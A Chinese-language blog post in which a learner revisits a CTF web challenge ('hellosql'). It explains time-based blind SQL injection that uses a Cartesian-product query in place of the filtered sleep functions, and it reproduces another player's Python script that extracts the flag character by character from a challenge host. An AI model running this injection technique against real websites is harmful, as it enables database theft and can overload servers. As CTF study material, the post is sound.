题找不到了,只能学学原理了
hellosql
这道过滤了sleep等所有的延时函数,大佬的方式是用计算笛卡尔积的方式达到延时的效果
这种方式能够达到延时的效果,但是比较不稳定,如果表中数据太少可能会达不到延时的效果,如果数据太多有可能会让网站崩溃
大佬wp中的代码:
import requests # sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #Flllag # sql = "select group_concat(column_name) from information_schema.columns where table_name='Flllag' and table_schema=database()" #Flagg sql = "select group_concat(Flagg) from Flllag" j = 36 flag = "flag{h3Ltx545LiDwpjQ8Ij1x241wIxS4fa" while True: for i in range(32, 128): burp0_url = "http://web-bd1bbd084b.challenge.xctf.org.cn/index.php?id=1'||case+when(ascii(substr(({}),{},1))={})then(select sum('1')from information_schema.tables A,information_schema.columns B,information_schema.columns C)end-- ".format(sql, j, i) print burp0_url try: requests.get(burp0_url, timeout=3) if i == 127: j = -1 except: flag += chr(i) print flag j += 1 break if j == -1: print flag exit(0)
笛卡尔积
后面的也都看了看,都是什么内存取证,反序列化啥的,没看懂,打算这周学完xss和ssrf下周开始学php反序列化
标签:information,极客,flag,复现,sql,table,巅峰,select,schema From: https://www.cnblogs.com/theskyforfly/p/17582731.html